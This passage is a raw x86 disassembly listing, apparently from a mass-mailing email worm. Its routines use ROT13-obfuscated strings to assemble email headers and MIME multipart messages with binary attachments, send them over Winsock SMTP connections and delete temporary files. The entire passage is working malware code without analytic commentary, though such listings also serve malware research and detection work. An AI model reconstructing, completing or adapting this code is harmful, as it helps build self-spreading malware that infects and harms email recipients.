  9118.         call    sub_4A465E
  9119.         mov    ebp, ds:lstrcatA
  9120.         add    esp, 24h
  9121.         lea    eax, [ebx+4]
  9122.         push    eax        ; lpString2
  9123.         push    esi        ; lpString1
  9124.         call    ebp ; lstrcatA
  9125.         mov    edi, ds:lstrlenA
  9126.         push    offset aGb    ; "\r\nGb: "
  9127.         push    esi        ; lpString
  9128.         call    edi ; lstrlenA
  9129.         add    eax, esi
  9130.         push    eax
  9131.         call    sub_4A465E
  9132.         pop    ecx
  9133.         pop    ecx
  9134.         push    dword ptr [ebx]    ; lpString2
  9135.         push    esi        ; lpString1
  9136.         call    ebp ; lstrcatA
  9137.         push    offset aFhowrpg    ; "\r\nFhowrpg:    "
  9138.         push    esi        ; lpString
  9139.         call    edi ; lstrlenA
  9140.         add    eax, esi
  9141.         push    eax
  9142.         call    sub_4A465E
  9143.         pop    ecx
  9144.         add    ebx, 104h
  9145.         pop    ecx
  9146.         push    ebx        ; lpString2
  9147.         push    esi        ; lpString1
  9148.         call    ebp ; lstrcatA
  9149.         push    offset aQngr    ; "\r\nQngr: "
  9150.         push    esi        ; lpString
  9151.         call    edi ; lstrlenA
  9152.         add    eax, esi
  9153.         push    eax
  9154.         call    sub_4A465E
  9155.         pop    ecx
  9156.         pop    ecx
  9157.         push    esi        ; lpString
  9158.         call    edi ; lstrlenA
  9159.         add    eax, esi
  9160.         push    eax        ; int
  9161.         push    0        ; lpFileTime
  9162.         call    sub_4A40B3
  9163.         pop    ecx
  9164.         pop    ecx
  9165.         push    offset aZvzrIrefvba1_0 ; "\r\nZVZR-Irefvba: 1.0"
  9166.         push    esi        ; lpString
  9167.         call    edi ; lstrlenA
  9168.         add    eax, esi
  9169.         push    eax
  9170.         call    sub_4A465E
  9171.         pop    ecx
  9172.         pop    ecx
  9173.         push    offset aPbagragGlcrZhy ; "\r\nPbagrag-Glcr: zhygvcneg/zvkrq;\r\n"
  9174.         push    esi        ; lpString
  9175.         call    edi ; lstrlenA
  9176.         add    eax, esi
  9177.         push    eax
  9178.         call    sub_4A465E
  9179.         push    dword ptr [esp+1Ch+arglist] ; arglist
  9180.         push    offset aBoundaryS ; LPCSTR
  9181.         push    esi        ; lpString
  9182.         call    sub_4A45C4
  9183.         add    esp, 14h
  9184.         push    offset aKCevbevgl3 ; "\r\nK-Cevbevgl: 3"
  9185.         push    esi        ; lpString
  9186.         call    edi ; lstrlenA
  9187.         add    eax, esi
  9188.         push    eax
  9189.         call    sub_4A465E
  9190.         pop    ecx
  9191.         pop    ecx
  9192.         push    offset aKZfznvyCevbevg ; "\r\nK-ZFZnvy-Cevbevgl: Abezny"
  9193.         push    esi        ; lpString
  9194.         call    edi ; lstrlenA
  9195.         add    eax, esi
  9196.         push    eax
  9197.         call    sub_4A465E
  9198.         pop    ecx
  9199.         pop    ecx
  9200.         push    offset asc_4A35D4 ; lpString2
  9201.         push    esi        ; lpString1
  9202.         call    ebp ; lstrcatA
  9203.         pop    edi
  9204.         pop    esi
  9205.         pop    ebp
  9206.         pop    ebx
  9207.         pop    ecx
  9208.         retn
  9209. sub_4A74DD    endp
  9210.  
  9211.  
  9212. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9213.  
  9214. ; Attributes: bp-based frame
  9215.  
  9216. sub_4A75FD    proc near        ; CODE XREF: sub_4A76D2+BAp
  9217.  
  9218. var_210        = dword    ptr -210h
  9219. var_200        = byte ptr -200h
  9220. arglist        = byte ptr  8
  9221.  
  9222.         push    ebp
  9223.         mov    ebp, esp
  9224.         sub    esp, 200h
  9225.         push    ebx
  9226.         mov    ebx, dword ptr [ebp+arglist]
  9227.         push    esi
  9228.         push    edi
  9229.         mov    esi, [ebx+440h]
  9230.         mov    edi, ds:lstrlenA
  9231.         push    offset aGuvfVfNZhygvCn ; "Guvf vf n zhygv-cneg zrffntr va ZVZR sb"...
  9232.         push    esi        ; lpString
  9233.         call    edi ; lstrlenA
  9234.         add    eax, esi
  9235.         push    eax
  9236.         call    sub_4A465E
  9237.         lea    eax, [ebp+var_200]
  9238.         push    offset aFPbagragGlcrGr ; "--%f\r\nPbagrag-Glcr:    grkg/cynva;\r\n\tpunef"...
  9239.         push    eax
  9240.         call    sub_4A465E
  9241.         lea    eax, [ebx+3C0h]
  9242.         push    eax        ; arglist
  9243.         lea    eax, [ebp+var_200]
  9244.         push    eax        ; LPCSTR
  9245.         push    esi        ; lpString
  9246.         call    sub_4A45C4
  9247.         add    esp, 1Ch
  9248.         push    esi        ; lpString
  9249.         call    edi ; lstrlenA
  9250.         push    dword ptr [ebp+arglist]    ; lpString2
  9251.         mov    ebx, eax
  9252.         add    ebx, esi
  9253.         call    sub_4A7255
  9254.         mov    [esp+210h+var_210], offset asc_4A374C ;    "\r\n\r\n\r\n"
  9255.         push    esi        ; lpString1
  9256.         call    ds:lstrcatA
  9257.         lea    eax, [ebp+var_200]
  9258.         push    offset aFPbagragGlcrNc ; "--%f\r\nPbagrag-Glcr:    nccyvpngvba/bpgrg-f"...
  9259.         push    eax
  9260.         call    sub_4A465E
  9261.         mov    ebx, dword ptr [ebp+arglist]
  9262.         lea    eax, [ebx+1B7h]
  9263.         push    eax
  9264.         push    eax
  9265.         lea    eax, [ebx+3C0h]
  9266.         mov    dword ptr [ebp+arglist], eax
  9267.         push    eax        ; arglist
  9268.         lea    eax, [ebp+var_200]
  9269.         push    eax        ; LPCSTR
  9270.         push    esi        ; lpString
  9271.         call    sub_4A45C4
  9272.         add    esp, 1Ch
  9273.         push    esi        ; lpString
  9274.         call    edi ; lstrlenA
  9275.         add    eax, esi
  9276.         push    eax
  9277.         mov    eax, ebx
  9278.         call    sub_4A73CA
  9279.         test    eax, eax
  9280.         pop    ecx
  9281.         jz    short loc_4A76BA
  9282.         xor    eax, eax
  9283.         inc    eax
  9284.         jmp    short loc_4A76CD
  9285. ; ───────────────────────────────────────────────────────────────────────────
  9286.  
  9287. loc_4A76BA:                ; CODE XREF: sub_4A75FD+B6j
  9288.         push    dword ptr [ebp+arglist]    ; arglist
  9289.         push    offset aS    ; LPCSTR
  9290.         push    esi        ; lpString
  9291.         call    sub_4A45C4
  9292.         add    esp, 0Ch
  9293.         xor    eax, eax
  9294.  
  9295. loc_4A76CD:                ; CODE XREF: sub_4A75FD+BBj
  9296.         pop    edi
  9297.         pop    esi
  9298.         pop    ebx
  9299.         leave
  9300.         retn
  9301. sub_4A75FD    endp
  9302.  
  9303.  
  9304. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9305.  
  9306. ; Attributes: bp-based frame
  9307.  
  9308. ; int __cdecl sub_4A76D2(LPCSTR    lpString)
  9309. sub_4A76D2    proc near        ; CODE XREF: sub_4A5A7C+42p
  9310.  
  9311. var_448        = dword    ptr -448h
  9312. var_292        = byte ptr -292h
  9313. FileName    = byte ptr -191h
  9314. var_8C        = dword    ptr -8Ch
  9315. hMem        = dword    ptr -8
  9316. var_4        = dword    ptr -4
  9317. lpString    = dword    ptr  8
  9318.  
  9319.         push    ebp
  9320.         mov    ebp, esp
  9321.         sub    esp, 448h
  9322.         push    ebx
  9323.         push    esi
  9324.         mov    esi, [ebp+lpString]
  9325.         xor    ebx, ebx
  9326.         cmp    esi, ebx
  9327.         jz    loc_4A77B9
  9328.         push    esi        ; lpString
  9329.         call    ds:lstrlenA
  9330.         cmp    eax, 7
  9331.         jl    loc_4A77B9
  9332.         push    448h
  9333.         lea    eax, [ebp+var_448]
  9334.         push    ebx
  9335.         push    eax
  9336.         call    memset
  9337.         lea    eax, [ebp+var_448]
  9338.         mov    [ebp+var_448], esi
  9339.         push    eax
  9340.         call    sub_4A6CDE
  9341.         add    esp, 10h
  9342.         lea    eax, [ebp+var_448]
  9343.         call    sub_4A6D9F
  9344.         lea    eax, [ebp+var_448]
  9345.         call    sub_4A6ED6
  9346.         lea    esi, [ebp+var_448]
  9347.         call    sub_4A6FCD
  9348.         test    eax, eax
  9349.         jnz    short loc_4A77B9
  9350.         mov    eax, [ebp+var_8C]
  9351.         push    3
  9352.         shl    eax, 2
  9353.         cdq
  9354.         pop    ecx
  9355.         idiv    ecx
  9356.         mov    ecx, 400h
  9357.         add    eax, 239Fh
  9358.         cdq
  9359.         idiv    ecx
  9360.         shl    eax, 0Ah
  9361.         push    eax        ; dwBytes
  9362.         push    40h        ; uFlags
  9363.         mov    [ebp+var_4], eax
  9364.         call    ds:GlobalAlloc
  9365.         cmp    eax, ebx
  9366.         mov    [ebp+hMem], eax
  9367.         jz    short loc_4A7796
  9368.         mov    [eax], bl
  9369.         lea    eax, [ebp+var_448]
  9370.         call    sub_4A74DD
  9371.         lea    eax, [ebp+var_448]
  9372.         push    eax
  9373.         call    sub_4A75FD
  9374.         test    eax, eax
  9375.         pop    ecx
  9376.         jz    short loc_4A77BD
  9377.  
  9378. loc_4A7796:                ; CODE XREF: sub_4A76D2+A4j
  9379.         cmp    [ebp+var_292], bl
  9380.         jz    short loc_4A77AB
  9381.         lea    eax, [ebp+FileName]
  9382.         push    eax        ; lpFileName
  9383.         call    ds:DeleteFileA
  9384.  
  9385. loc_4A77AB:                ; CODE XREF: sub_4A76D2+CAj
  9386.         cmp    [ebp+hMem], ebx
  9387.         jz    short loc_4A77B9
  9388.         push    [ebp+hMem]    ; hMem
  9389.         call    ds:GlobalFree
  9390.  
  9391. loc_4A77B9:                ; CODE XREF: sub_4A76D2+12j
  9392.                     ; sub_4A76D2+22j ...
  9393.         xor    eax, eax
  9394.         jmp    short loc_4A77D5
  9395. ; ───────────────────────────────────────────────────────────────────────────
  9396.  
  9397. loc_4A77BD:                ; CODE XREF: sub_4A76D2+C2j
  9398.         cmp    [ebp+var_292], bl
  9399.         jz    short loc_4A77D2
  9400.         lea    eax, [ebp+FileName]
  9401.         push    eax        ; lpFileName
  9402.         call    ds:DeleteFileA
  9403.  
  9404. loc_4A77D2:                ; CODE XREF: sub_4A76D2+F1j
  9405.         mov    eax, [ebp+hMem]
  9406.  
  9407. loc_4A77D5:                ; CODE XREF: sub_4A76D2+E9j
  9408.         pop    esi
  9409.         pop    ebx
  9410.         leave
  9411.         retn
  9412. sub_4A76D2    endp
  9413.  
  9414.  
  9415. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9416.  
  9417. ; Attributes: bp-based frame
  9418.  
  9419. sub_4A77D9    proc near        ; CODE XREF: sub_4A7AAA+8Cp
  9420.  
  9421. var_114        = dword    ptr -114h
  9422. var_110        = dword    ptr -110h
  9423. var_10        = dword    ptr -10h
  9424. var_C        = dword    ptr -0Ch
  9425. var_8        = dword    ptr -8
  9426. var_4        = dword    ptr -4
  9427. arg_0        = dword    ptr  8
  9428. arg_4        = dword    ptr  0Ch
  9429. arg_8        = dword    ptr  10h
  9430. arg_C        = dword    ptr  14h
  9431.  
  9432.         push    ebp
  9433.         mov    ebp, esp
  9434.         sub    esp, 114h
  9435.         push    ebx
  9436.         push    esi
  9437.         xor    esi, esi
  9438.         xor    ebx, ebx
  9439.         inc    esi
  9440.         push    edi
  9441.         cmp    [ebp+arg_8], esi
  9442.         mov    [ebp+var_4], ebx
  9443.         jle    short loc_4A7864
  9444.         mov    edi, [ebp+arg_4]
  9445.         mov    [ebp+var_8], esi
  9446.         sub    [ebp+var_8], edi
  9447.  
  9448. loc_4A77FB:                ; CODE XREF: sub_4A77D9+89j
  9449.         mov    eax, [ebp+arg_C]
  9450.         cmp    eax, ebx
  9451.         jz    short loc_4A783E
  9452.         mov    ecx, [ebp+arg_0]
  9453.         xor    edx, edx
  9454.         mov    [ebp+var_110], ecx
  9455.         mov    ecx, 3E8h
  9456.         div    ecx
  9457.         mov    [ebp+var_114], esi
  9458.         imul    edx, 3E8h
  9459.         mov    [ebp+var_10], eax
  9460.         lea    eax, [ebp+var_10]
  9461.         push    eax
  9462.         push    ebx
  9463.         lea    eax, [ebp+var_114]
  9464.         push    ebx
  9465.         push    eax
  9466.         push    ebx
  9467.         mov    [ebp+var_C], edx
  9468.         call    ds:WS2_32_18
  9469.         test    eax, eax
  9470.         jle    short loc_4A7864
  9471.  
  9472. loc_4A783E:                ; CODE XREF: sub_4A77D9+27j
  9473.         push    ebx
  9474.         push    esi
  9475.         push    edi
  9476.         push    [ebp+arg_0]
  9477.         call    ds:WS2_32_16
  9478.         cmp    eax, ebx
  9479.         jl    short loc_4A7872
  9480.         jz    short loc_4A7864
  9481.         mov    al, [edi]
  9482.         inc    [ebp+var_4]
  9483.         inc    edi
  9484.         cmp    al, 0Ah
  9485.         jz    short loc_4A7864
  9486.         mov    eax, [ebp+var_8]
  9487.         add    eax, edi
  9488.         cmp    eax, [ebp+arg_8]
  9489.         jl    short loc_4A77FB
  9490.  
  9491. loc_4A7864:                ; CODE XREF: sub_4A77D9+17j
  9492.                     ; sub_4A77D9+63j ...
  9493.         mov    ecx, [ebp+arg_4]
  9494.         mov    eax, [ebp+var_4]
  9495.         mov    [eax+ecx], bl
  9496.  
  9497. loc_4A786D:                ; CODE XREF: sub_4A77D9+9Cj
  9498.         pop    edi
  9499.         pop    esi
  9500.         pop    ebx
  9501.         leave
  9502.         retn
  9503. ; ───────────────────────────────────────────────────────────────────────────
  9504.  
  9505. loc_4A7872:                ; CODE XREF: sub_4A77D9+73j
  9506.         or    eax, 0FFFFFFFFh
  9507.         jmp    short loc_4A786D
  9508. sub_4A77D9    endp
  9509.  
  9510.  
  9511. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9512.  
  9513.  
  9514. sub_4A7877    proc near        ; CODE XREF: sub_4A7DFD+DAp
  9515.                     ; sub_4A7F4C+6Fp ...
  9516.         push    esi
  9517.         push    edi
  9518.         call    ds:WS2_32_11
  9519.         mov    esi, eax
  9520.         cmp    esi, 0FFFFFFFFh
  9521.         jz    short loc_4A788F
  9522.         test    esi, esi
  9523.         jnz    short loc_4A78A1
  9524.         cmp    byte ptr [edi],    30h
  9525.         jz    short loc_4A78A8
  9526.  
  9527. loc_4A788F:                ; CODE XREF: sub_4A7877+Dj
  9528.         push    edi
  9529.         call    ds:WS2_32_52
  9530.         test    eax, eax
  9531.         jz    short loc_4A78A1
  9532.         mov    eax, [eax+0Ch]
  9533.         mov    eax, [eax]
  9534.         mov    esi, [eax]
  9535.  
  9536. loc_4A78A1:                ; CODE XREF: sub_4A7877+11j
  9537.                     ; sub_4A7877+21j
  9538.         cmp    esi, 0FFFFFFFFh
  9539.         jnz    short loc_4A78A8
  9540.         xor    esi, esi
  9541.  
  9542. loc_4A78A8:                ; CODE XREF: sub_4A7877+16j
  9543.                     ; sub_4A7877+2Dj
  9544.         mov    eax, esi
  9545.         pop    esi
  9546.         retn
  9547. sub_4A7877    endp
  9548.  
  9549.  
  9550. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9551.  
  9552. ; Attributes: bp-based frame
  9553.  
  9554. ; int __cdecl sub_4A78AC(LPCSTR    lpString2,int,int)
  9555. sub_4A78AC    proc near        ; CODE XREF: sub_4A7B47+1Fp
  9556.                     ; sub_4A7B47+3Bp ...
  9557.  
  9558. var_102        = byte ptr -102h
  9559. String1        = byte ptr -100h
  9560. lpString2    = dword    ptr  8
  9561. arg_4        = dword    ptr  0Ch
  9562. arg_8        = dword    ptr  10h
  9563.  
  9564.         push    ebp
  9565.         mov    ebp, esp
  9566.         sub    esp, 100h
  9567.         push    ebx
  9568.         push    esi
  9569.         mov    esi, eax
  9570.         xor    eax, eax
  9571.         cmp    esi, eax
  9572.         push    edi
  9573.         jz    loc_4A7A27
  9574.         cmp    [ebp+lpString2], eax
  9575.         jz    loc_4A7A27
  9576.         cmp    [ebp+arg_4], eax
  9577.         jz    loc_4A7A27
  9578.         cmp    [ebp+arg_8], eax
  9579.         jle    loc_4A7A27
  9580.  
  9581. loc_4A78DF:                ; CODE XREF: sub_4A78AC+46j
  9582.         mov    al, [esi]
  9583.         cmp    al, 0Dh
  9584.         jz    short loc_4A78F1
  9585.         cmp    al, 0Ah
  9586.         jz    short loc_4A78F1
  9587.         cmp    al, 20h
  9588.         jz    short loc_4A78F1
  9589.         cmp    al, 9
  9590.         jnz    short loc_4A78F4
  9591.  
  9592. loc_4A78F1:                ; CODE XREF: sub_4A78AC+37j
  9593.                     ; sub_4A78AC+3Bj ...
  9594.         inc    esi
  9595.         jmp    short loc_4A78DF
  9596. ; ───────────────────────────────────────────────────────────────────────────
  9597.  
  9598. loc_4A78F4:                ; CODE XREF: sub_4A78AC+43j
  9599.         cmp    byte ptr [esi],    0
  9600.         jz    loc_4A7A27
  9601.         mov    ebx, ds:lstrlenA
  9602.  
  9603. loc_4A7903:                ; CODE XREF: sub_4A78AC+175j
  9604.         xor    ecx, ecx
  9605.  
  9606. loc_4A7905:                ; CODE XREF: sub_4A78AC+89j
  9607.                     ; sub_4A78AC+99j
  9608.         mov    al, [esi]
  9609.         inc    esi
  9610.         test    al, al
  9611.         jz    short loc_4A794A
  9612.         cmp    al, 3Ah
  9613.         jz    short loc_4A7949
  9614.         cmp    al, 0Dh
  9615.         jz    short loc_4A7949
  9616.         cmp    al, 0Ah
  9617.         jz    short loc_4A7949
  9618.         cmp    al, 9
  9619.         jnz    short loc_4A791E
  9620.         add    al, 17h
  9621.  
  9622. loc_4A791E:                ; CODE XREF: sub_4A78AC+6Ej
  9623.         test    ecx, ecx
  9624.         jle    short loc_4A7931
  9625.         cmp    al, 20h
  9626.         jnz    short loc_4A792F
  9627.         cmp    [ebp+ecx-101h],    al
  9628.         jz    short loc_4A793F
  9629.  
  9630. loc_4A792F:                ; CODE XREF: sub_4A78AC+78j
  9631.         test    ecx, ecx
  9632.  
  9633. loc_4A7931:                ; CODE XREF: sub_4A78AC+74j
  9634.         jnz    short loc_4A7937
  9635.         cmp    al, 20h
  9636.         jz    short loc_4A7905
  9637.  
  9638. loc_4A7937:                ; CODE XREF: sub_4A78AC+85j
  9639.         mov    [ebp+ecx+String1], al
  9640.         inc    ecx
  9641.  
  9642. loc_4A793F:                ; CODE XREF: sub_4A78AC+81j
  9643.         cmp    ecx, 0FFh
  9644.         jb    short loc_4A7905
  9645.         jmp    short loc_4A794A
  9646. ; ───────────────────────────────────────────────────────────────────────────
  9647.  
  9648. loc_4A7949:                ; CODE XREF: sub_4A78AC+62j
  9649.                     ; sub_4A78AC+66j ...
  9650.         dec    esi
  9651.  
  9652. loc_4A794A:                ; CODE XREF: sub_4A78AC+5Ej
  9653.                     ; sub_4A78AC+9Bj
  9654.         and    [ebp+ecx+String1], 0
  9655.         cmp    byte ptr [esi],    0
  9656.         jz    loc_4A7A27
  9657.         lea    eax, [ebp+String1]
  9658.         lea    edi, [ebp+String1]
  9659.         push    eax        ; lpString
  9660.         dec    edi
  9661.         call    ebx ; lstrlenA
  9662.         cmp    byte ptr [eax+edi], 20h
  9663.         jnz    short loc_4A797E
  9664.         lea    eax, [ebp+String1]
  9665.         push    eax        ; lpString
  9666.         call    ebx ; lstrlenA
  9667.         and    byte ptr [eax+edi], 0
  9668.  
  9669. loc_4A797E:                ; CODE XREF: sub_4A78AC+C3j
  9670.         cmp    [ebp+String1], 0
  9671.         jz    loc_4A7A27
  9672.         cmp    byte ptr [esi],    3Ah
  9673.         jnz    short loc_4A79F1
  9674.         lea    eax, [ebp+String1]
  9675.         push    eax        ; lpsz
  9676.         call    ds:CharLowerA
  9677.         push    [ebp+lpString2]    ; lpString2
  9678.         lea    eax, [ebp+String1]
  9679.         push    eax        ; lpString1
  9680.         call    ds:lstrcmpiA
  9681.         test    eax, eax
  9682.         jnz    short loc_4A79F1
  9683.         inc    esi
  9684.         mov    al, [esi]
  9685.         cmp    al, 20h
  9686.         jz    short loc_4A79BC
  9687.         cmp    al, 9
  9688.         jnz    short loc_4A79BD
  9689.  
  9690. loc_4A79BC:                ; CODE XREF: sub_4A78AC+10Aj
  9691.         inc    esi
  9692.  
  9693. loc_4A79BD:                ; CODE XREF: sub_4A78AC+10Ej
  9694.         mov    edi, [ebp+arg_8]
  9695.         xor    edx, edx
  9696.         dec    edi
  9697.         test    edi, edi
  9698.         jle    short loc_4A79DD
  9699.  
  9700. loc_4A79C7:                ; CODE XREF: sub_4A78AC+12Fj
  9701.         mov    al, [esi]
  9702.         inc    esi
  9703.         cmp    al, 0Dh
  9704.         jz    short loc_4A7A2F
  9705.         cmp    al, 0Ah
  9706.         jz    short loc_4A7A2F
  9707.         mov    ecx, [ebp+arg_4]
  9708.         mov    [edx+ecx], al
  9709.         inc    edx
  9710.  
  9711. loc_4A79D9:                ; CODE XREF: sub_4A78AC+1A7j
  9712.         cmp    edx, edi
  9713.         jl    short loc_4A79C7
  9714.  
  9715. loc_4A79DD:                ; CODE XREF: sub_4A78AC+119j
  9716.                     ; sub_4A78AC+19Dj
  9717.         mov    eax, [ebp+arg_4]
  9718.         and    byte ptr [edx+eax], 0
  9719.         xor    eax, eax
  9720.         jmp    short loc_4A7A2A
  9721. ; ───────────────────────────────────────────────────────────────────────────
  9722.  
  9723. loc_4A79E8:                ; CODE XREF: sub_4A78AC+149j
  9724.         cmp    al, 0Dh
  9725.         jz    short loc_4A79F7
  9726.         test    al, al
  9727.         jz    short loc_4A7A27
  9728.         inc    esi
  9729.  
  9730. loc_4A79F1:                ; CODE XREF: sub_4A78AC+E2j
  9731.                     ; sub_4A78AC+103j
  9732.         mov    al, [esi]
  9733.         cmp    al, 0Ah
  9734.         jnz    short loc_4A79E8
  9735.  
  9736. loc_4A79F7:                ; CODE XREF: sub_4A78AC+13Ej
  9737.         mov    al, [esi]
  9738.         test    al, al
  9739.         jz    short loc_4A7A27
  9740.         cmp    al, 0Ah
  9741.         jnz    short loc_4A7A09
  9742.         inc    esi
  9743.         cmp    byte ptr [esi],    0Dh
  9744.         jnz    short loc_4A7A15
  9745.         jmp    short loc_4A7A14
  9746. ; ───────────────────────────────────────────────────────────────────────────
  9747.  
  9748. loc_4A7A09:                ; CODE XREF: sub_4A78AC+153j
  9749.         cmp    al, 0Dh
  9750.         jnz    short loc_4A7A15
  9751.         inc    esi
  9752.         mov    al, [esi]
  9753.         cmp    al, 0Ah
  9754.         jnz    short loc_4A7A1B
  9755.  
  9756. loc_4A7A14:                ; CODE XREF: sub_4A78AC+15Bj
  9757.         inc    esi
  9758.  
  9759. loc_4A7A15:                ; CODE XREF: sub_4A78AC+159j
  9760.                     ; sub_4A78AC+15Fj
  9761.         mov    al, [esi]
  9762.         cmp    al, 0Ah
  9763.         jz    short loc_4A7A27
  9764.  
  9765. loc_4A7A1B:                ; CODE XREF: sub_4A78AC+166j
  9766.         cmp    al, 0Dh
  9767.         jz    short loc_4A7A27
  9768.         test    al, al
  9769.         jnz    loc_4A7903
  9770.  
  9771. loc_4A7A27:                ; CODE XREF: sub_4A78AC+12j
  9772.                     ; sub_4A78AC+1Bj ...
  9773.         xor    eax, eax
  9774.         inc    eax
  9775.  
  9776. loc_4A7A2A:                ; CODE XREF: sub_4A78AC+13Aj
  9777.         pop    edi
  9778.         pop    esi
  9779.         pop    ebx
  9780.         leave
  9781.         retn
  9782. ; ───────────────────────────────────────────────────────────────────────────
  9783.  
  9784. loc_4A7A2F:                ; CODE XREF: sub_4A78AC+120j
  9785.                     ; sub_4A78AC+124j
  9786.         mov    eax, esi
  9787.         dec    esi
  9788.  
  9789. loc_4A7A32:                ; CODE XREF: sub_4A78AC+193j
  9790.         mov    cl, [eax]
  9791.         cmp    cl, 0Ah
  9792.         jz    short loc_4A7A3E
  9793.         cmp    cl, 0Dh
  9794.         jnz    short loc_4A7A41
  9795.  
  9796. loc_4A7A3E:                ; CODE XREF: sub_4A78AC+18Bj
  9797.         inc    eax
  9798.         jmp    short loc_4A7A32
  9799. ; ───────────────────────────────────────────────────────────────────────────
  9800.  
  9801. loc_4A7A41:                ; CODE XREF: sub_4A78AC+190j
  9802.         mov    al, [eax]
  9803.         cmp    al, 20h
  9804.         jz    short loc_4A7A4B
  9805.         cmp    al, 9
  9806.         jnz    short loc_4A79DD
  9807.  
  9808. loc_4A7A4B:                ; CODE XREF: sub_4A78AC+199j
  9809.                     ; sub_4A78AC+1AAj
  9810.         mov    al, [esi]
  9811.         cmp    al, 0Ah
  9812.         jz    short loc_4A7A55
  9813.         cmp    al, 0Dh
  9814.         jnz    short loc_4A79D9
  9815.  
  9816. loc_4A7A55:                ; CODE XREF: sub_4A78AC+1A3j
  9817.         inc    esi
  9818.         jmp    short loc_4A7A4B
  9819. sub_4A78AC    endp
  9820.  
  9821.  
  9822. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9823.  
  9824. ; Attributes: bp-based frame
  9825.  
  9826. sub_4A7A58    proc near        ; CODE XREF: sub_4A7B47+BBp
  9827.  
  9828. var_10C        = dword    ptr -10Ch
  9829. var_108        = dword    ptr -108h
  9830. var_8        = dword    ptr -8
  9831. var_4        = dword    ptr -4
  9832. arg_0        = dword    ptr  8
  9833.  
  9834.         push    ebp
  9835.         mov    ebp, esp
  9836.         sub    esp, 10Ch
  9837.         xor    edx, edx
  9838.         mov    ecx, 3E8h
  9839.         div    ecx
  9840.         lea    ecx, [ebp+var_10C]
  9841.         mov    [ebp+var_10C], 1
  9842.         mov    [ebp+var_8], eax
  9843.         mov    eax, [ebp+arg_0]
  9844.         imul    edx, 3E8h
  9845.         mov    [ebp+var_108], eax
  9846.         lea    eax, [ebp+var_8]
  9847.         push    eax
  9848.         xor    eax, eax
  9849.         push    eax
  9850.         push    eax
  9851.         push    ecx
  9852.         push    eax
  9853.         mov    [ebp+var_4], edx
  9854.         call    ds:WS2_32_18
  9855.         xor    ecx, ecx
  9856.         test    eax, eax
  9857.         setle    cl
  9858.         mov    eax, ecx
  9859.         leave
  9860.         retn
  9861. sub_4A7A58    endp
  9862.  
  9863.  
  9864. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9865.  
  9866. ; Attributes: bp-based frame
  9867.  
  9868. sub_4A7AAA    proc near        ; CODE XREF: sub_4A7B47+CCp
  9869.                     ; sub_4A7B47+112p ...
  9870.  
  9871. String        = byte ptr -400h
  9872. arg_0        = dword    ptr  8
  9873. arg_4        = dword    ptr  0Ch
  9874. arg_8        = dword    ptr  10h
  9875. arglist        = byte ptr  14h
  9876.  
  9877.         push    ebp
  9878.         mov    ebp, esp
  9879.         sub    esp, 400h
  9880.         cmp    [ebp+arg_8], 0
  9881.         jz    short loc_4A7AED
  9882.         lea    eax, [ebp+arglist]
  9883.         push    eax        ; arglist
  9884.         lea    eax, [ebp+String]
  9885.         push    [ebp+arg_8]    ; LPCSTR
  9886.         push    eax        ; LPSTR
  9887.         call    ds:wvsprintfA
  9888.         lea    eax, [ebp+String]
  9889.         push    0
  9890.         push    eax        ; lpString
  9891.         call    ds:lstrlenA
  9892.         push    eax
  9893.         lea    eax, [ebp+String]
  9894.         push    eax
  9895.         push    [ebp+arg_0]
  9896.         call    ds:WS2_32_19
  9897.  
  9898. loc_4A7AED:                ; CODE XREF: sub_4A7AAA+Dj
  9899.         push    esi
  9900.         mov    esi, 400h
  9901.         jmp    short loc_4A7B28
  9902. ; ───────────────────────────────────────────────────────────────────────────
  9903.  
  9904. loc_4A7AF5:                ; CODE XREF: sub_4A7AAA+96j
  9905.         lea    ecx, [ebp+String]
  9906.         xor    eax, eax
  9907.  
  9908. loc_4A7AFD:                ; CODE XREF: sub_4A7AAA+60j
  9909.         mov    dl, [ecx]
  9910.         cmp    dl, 20h
  9911.         jz    short loc_4A7B09
  9912.         cmp    dl, 9
  9913.         jnz    short loc_4A7B1C
  9914.  
  9915. loc_4A7B09:                ; CODE XREF: sub_4A7AAA+58j
  9916.         inc    ecx
  9917.         jmp    short loc_4A7AFD
  9918. ; ───────────────────────────────────────────────────────────────────────────
  9919.  
  9920. loc_4A7B0C:                ; CODE XREF: sub_4A7AAA+77j
  9921.         cmp    dl, 39h
  9922.         jg    short loc_4A7B23
  9923.         movsx    edx, dl
  9924.         lea    eax, [eax+eax*4]
  9925.         inc    ecx
  9926.         lea    eax, [edx+eax*2-30h]
  9927.  
  9928. loc_4A7B1C:                ; CODE XREF: sub_4A7AAA+5Dj
  9929.         mov    dl, [ecx]
  9930.         cmp    dl, 30h
  9931.         jge    short loc_4A7B0C
  9932.  
  9933. loc_4A7B23:                ; CODE XREF: sub_4A7AAA+65j
  9934.         cmp    byte ptr [ecx],    2Dh
  9935.         jnz    short loc_4A7B44
  9936.  
  9937. loc_4A7B28:                ; CODE XREF: sub_4A7AAA+49j
  9938.         push    [ebp+arg_4]
  9939.         lea    eax, [ebp+String]
  9940.         push    esi
  9941.         push    eax
  9942.         push    [ebp+arg_0]
  9943.         call    sub_4A77D9
  9944.         add    esp, 10h
  9945.         test    eax, eax
  9946.         jg    short loc_4A7AF5
  9947.         xor    eax, eax
  9948.  
  9949. loc_4A7B44:                ; CODE XREF: sub_4A7AAA+7Cj
  9950.         pop    esi
  9951.         leave
  9952.         retn
  9953. sub_4A7AAA    endp
  9954.  
  9955.  
  9956. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9957.  
  9958. ; Attributes: bp-based frame
  9959.  
  9960. sub_4A7B47    proc near        ; CODE XREF: sub_4A7DFD+FFp
  9961.                     ; sub_4A7F4C+94p ...
  9962.  
  9963. var_408        = dword    ptr -408h
  9964. String1        = byte ptr -308h
  9965. var_208        = dword    ptr -208h
  9966. var_108        = byte ptr -108h
  9967. var_8        = dword    ptr -8
  9968. var_4        = dword    ptr -4
  9969. arg_0        = dword    ptr  8
  9970. arg_4        = dword    ptr  0Ch
  9971.  
  9972.         push    ebp
  9973.         mov    ebp, esp
  9974.         sub    esp, 408h
  9975.         push    esi
  9976.         mov    esi, 100h
  9977.         lea    eax, [ebp+var_208]
  9978.         push    esi        ; int
  9979.         push    eax        ; int
